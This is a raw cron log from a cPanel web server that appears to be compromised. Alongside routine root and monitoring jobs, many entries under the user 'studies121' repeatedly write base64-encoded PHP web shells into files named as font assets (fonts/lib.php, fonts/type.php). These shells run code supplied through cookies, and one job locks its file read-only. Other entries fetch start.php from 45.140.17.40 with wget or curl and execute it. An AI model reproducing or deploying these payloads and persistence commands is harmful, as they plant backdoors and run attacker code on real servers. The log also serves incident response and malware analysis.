Sep  9 16:40:01 ip-184-168-122-23 CROND[15115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:40:01 ip-184-168-122-23 CROND[15114]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:40:01 ip-184-168-122-23 CROND[15118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:41:01 ip-184-168-122-23 CROND[15212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:41:01 ip-184-168-122-23 CROND[15214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:41:01 ip-184-168-122-23 CROND[15216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:41:01 ip-184-168-122-23 CROND[15218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:42:01 ip-184-168-122-23 CROND[15311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:42:01 ip-184-168-122-23 CROND[15313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:42:01 ip-184-168-122-23 CROND[15314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:42:01 ip-184-168-122-23 CROND[15315]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:42:01 ip-184-168-122-23 CROND[15316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:43:01 ip-184-168-122-23 CROND[15398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:43:01 ip-184-168-122-23 CROND[15397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:43:01 ip-184-168-122-23 CROND[15399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:43:01 ip-184-168-122-23 CROND[15402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:44:01 ip-184-168-122-23 CROND[15484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:44:01 ip-184-168-122-23 CROND[15485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:44:01 ip-184-168-122-23 CROND[15487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:44:01 ip-184-168-122-23 CROND[15488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:44:01 ip-184-168-122-23 CROND[15489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:45:01 ip-184-168-122-23 CROND[15670]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  9 16:45:02 ip-184-168-122-23 CROND[15673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:45:02 ip-184-168-122-23 CROND[15675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:45:02 ip-184-168-122-23 CROND[15676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:45:02 ip-184-168-122-23 CROND[15677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:45:02 ip-184-168-122-23 CROND[15678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:45:02 ip-184-168-122-23 CROND[15679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:46:01 ip-184-168-122-23 CROND[15784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:46:01 ip-184-168-122-23 CROND[15788]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 16:46:01 ip-184-168-122-23 CROND[15789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:46:01 ip-184-168-122-23 CROND[15786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:46:01 ip-184-168-122-23 CROND[15790]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 16:46:01 ip-184-168-122-23 CROND[15791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:46:01 ip-184-168-122-23 CROND[15785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:47:01 ip-184-168-122-23 CROND[15901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:47:01 ip-184-168-122-23 CROND[15903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:47:01 ip-184-168-122-23 CROND[15904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:47:01 ip-184-168-122-23 CROND[15905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:48:01 ip-184-168-122-23 CROND[15991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:48:01 ip-184-168-122-23 CROND[15993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:48:01 ip-184-168-122-23 CROND[15996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:48:01 ip-184-168-122-23 CROND[15994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:48:01 ip-184-168-122-23 CROND[15995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:49:01 ip-184-168-122-23 CROND[16088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:49:01 ip-184-168-122-23 CROND[16087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:49:01 ip-184-168-122-23 CROND[16090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:49:01 ip-184-168-122-23 CROND[16092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:49:01 ip-184-168-122-23 CROND[16093]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 16:50:01 ip-184-168-122-23 CROND[16208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:50:01 ip-184-168-122-23 CROND[16210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:50:01 ip-184-168-122-23 CROND[16212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:50:02 ip-184-168-122-23 CROND[16217]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 16:50:02 ip-184-168-122-23 CROND[16216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:50:02 ip-184-168-122-23 CROND[16218]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:50:02 ip-184-168-122-23 CROND[16214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:50:02 ip-184-168-122-23 CROND[16219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:50:02 ip-184-168-122-23 CROND[16221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:51:01 ip-184-168-122-23 CROND[16353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:51:01 ip-184-168-122-23 CROND[16355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:51:01 ip-184-168-122-23 CROND[16357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 16:51:01 ip-184-168-122-23 CROND[16358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:52:01 ip-184-168-122-23 CROND[16478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:52:01 ip-184-168-122-23 CROND[16479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 16:52:01 ip-184-168-122-23 CROND[16481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 16:52:01 ip-184-168-122-23 CROND[16480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
